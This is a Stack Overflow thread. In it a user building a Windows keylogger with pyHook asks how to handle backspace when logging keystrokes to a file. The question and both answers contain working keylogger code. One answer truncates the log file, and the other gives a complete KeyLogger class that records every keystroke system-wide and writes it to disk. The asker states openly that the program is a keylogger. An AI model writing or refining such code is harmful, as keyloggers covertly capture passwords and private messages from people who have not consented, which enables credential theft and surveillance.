0

I've got a very long script so I will sum it up.

LOG_TEXT is where all the chars are stored and the data goes there through Key strokes, so every time a user types a key on the keyboard, it goes to LOG_TEXT.

Eventually, the LOG_TEXT is saved in log.txt after 20 seconds.

My problem is that when I click Back space, it doesn't delete the last char.

This is what I have been trying:

import pythoncom, pyHook, os

def OnKeyboardEvent(event):
    global LOG_TEXT, LOG_FILE
    LOG_TEXT = ""
    LOG_FILE = open('log.txt', 'a')
    if event.Ascii == 8:  # If 'back space' was pressed
        LOG_TEXT = LOG_TEXT[:-1]  # Delete the last char
    elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
        LOG_TEXT += "\n"  # Drop the line
    else: 
        LOG_TEXT += str(chr(event.Ascii))  # Adds the chars to the log

    # Write to file
    LOG_FILE.write(LOG_TEXT)
    LOG_FILE.close()
    return True

LOG_FILE = open('log.txt', 'a')
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

And also tried:

LOG_TEXT = LOG_TEXT[:-2]  # Delete the last char

And:

LOG_TEXT += '\b'  # Delete the last char

Any solutions/suggestions?

Thanks to the helpers :)

Joran Beasley
  • 110,522
  • 12
  • 160
  • 179
Mike
  • 37
  • 6
  • 1
    what is `event.`? Is it Pygame's? In any case, please add an appropriate tag to help people answer or avoiding wasting their time on a subject they ignore – Pynchia Aug 21 '15 at 22:14
  • @Pynchia This script is in the function `def OnKeyboardEvent(event):` and it gets the keyboard input at this moment, so if I click on the letter 'F', the event will be 'F' but in ASCII – Mike Aug 21 '15 at 22:16
  • I don't understand your question can you clear up that last sentence. But everytime.... I feel like one of those should be log_text. Or use two diff filenames thx – FirebladeDan Aug 21 '15 at 22:18
  • @Pynchia would u like me to write the entire script in chat? – Mike Aug 21 '15 at 22:19
  • Not now, thank you. Right now understanding your question would be enough. I would like you to add enough information that would allow people to understand if the question falls into their area of expertise. Is it pure python? Are you using a specific library/module? Under what OS? Anything you can add to explain the context, in the form of text and tags. Thank you. – Pynchia Aug 21 '15 at 22:26
  • nothing should show up in a log file based on the code I see here ... putting things in a log file requires at a minimum calls to `open` and `file.write`. I promise that `some_string[:-1]` will indeed return all but the last letter as a new string – Joran Beasley Aug 21 '15 at 22:35
  • if use tkinter: Dont listen "keydown" event. Need use "keyrelease". (on binding) – dsgdfg Aug 21 '15 at 22:36
  • 2
    no one knows what framework this is I think ... its curses or pygame or tkinter ... or maybe some other framework – Joran Beasley Aug 21 '15 at 22:37
  • @JoranBeasley you are right ! my idea `wrong bind` – dsgdfg Aug 21 '15 at 22:38
  • @Pynchia any better? Look at the edit – Mike Aug 21 '15 at 22:38
  • @JoranBeasley of course I did, but I don't want to start and putting script parts in there, so I assumed that its obvious that I did it – Mike Aug 21 '15 at 22:39
  • @RonHalfon You try write a game bot ! – dsgdfg Aug 21 '15 at 23:06
  • @SDilmac nope, a keylogger :P – Mike Aug 21 '15 at 23:10

2 Answers2

0

You cannot write a backspace to the file. The LOG_TEXT variable is set to an empty string on every keyboard event, and you append that to the file. For the backspace, you will need to truncate instead.

LOG_TEXT[:-1] # LOG_TEXT is an empty string, there's no 
              # last character to be removed.

Instead:

def OnKeyboardEvent(event):
    LOG_FILE = open('log.txt', 'a')
    if event.Ascii == 8:  # If 'back space' was pressed
        pos = LOG_FILE.tell() - 1  # Get position we want to keep
        if pos >= 0:
            LOG_FILE.seek(pos) # move to after last character we want to save
            LOG_FILE.truncate(pos) # truncate file to pos
    elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
        LOG_FILE.write("\n")  # Drop the line
    else: 
        LOG_FILE.write(str(chr(event.Ascii)))  # Adds the chars to the log

    # Write to file
    LOG_FILE.close()
    return True

The file is opened to append, so you do not need to keep everything in the log_text variable, otherwise you will be appending much more than you intend.

  • actually the backspace character is "\b" and you can write it to a binary file and in most text editors it will do what you expect... that said I dont think thats the right way to solve this – Joran Beasley Aug 21 '15 at 23:07
  • File "F:/Projects/Keylogger/Keylogger.py", line 116, in OnKeyboardEvent LOG_FILE.seek(pos) # Move to after last character we want to save IOError: [Errno 22] Invalid argument – Mike Aug 21 '15 at 23:08
  • @JoranBeasley I tried it but the notepad is giving me a weird rectangle – Mike Aug 21 '15 at 23:09
  • actually most editors will probably display something other than a backspace ... (a few will work...) – Joran Beasley Aug 21 '15 at 23:10
  • The io error was probably due to an empty file, hitting backspace would cause it to seek an negative index. I fixed that. Also, writing in append mode will insert things at the end. You are resetting the LOG_TEXT variable every time (LOG_TEXT="") at the beginning of the function, so there is not much point in using a global. Also, you should avoid globals as much as possible since they make code difficult to understand. – Jonathan Villemaire-Krajden Aug 21 '15 at 23:17
0

you should probably accumulate a string and then flush it to the file (on some event... like enter)

class KeyLogger:
    def __init__(self,logfile):
        self._file = open("logfile.txt","wb")
        self._txt = ""
        hm = pyHook.HookManager()
        hm.KeyDown = self.OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

    def OnKeyboardEvent(self,event):
        if event.Ascii == 8:  # If 'back space' was pressed
            self._txt = self._txt[:-1]
        elif event.Ascii == 13 or event.Ascii == 9:  # If 'Enter' was pressed
            self._txt += "\n"  # Drop the line
            self._file.write(self._txt) #flush line to file
            self._txt = "" #reset buffer for next line
        else: 
            self._txt += str(chr(event.Ascii))  # Adds the chars to the log

KeyLogger("logfile.txt")
Joran Beasley
  • 110,522
  • 12
  • 160
  • 179
  • I tried `LOG_TEXT = LOG_TEXT[:-1]` which is the same of what you have wrote, and I mentioned that I tried it and it still didn't worked. The problem is that my script ignores the deleting part so if I write "Hellp", delete the "p" and write another "o", the txt file will contain "Hellpo" – Mike Aug 21 '15 at 23:17
  • this is not the same as what you wrote ... try the code ... dont make assumptions... (you know what they say about assumptions...) the key difference here is that I am accumulating all the letters until a newline and then dumping them ... – Joran Beasley Aug 21 '15 at 23:46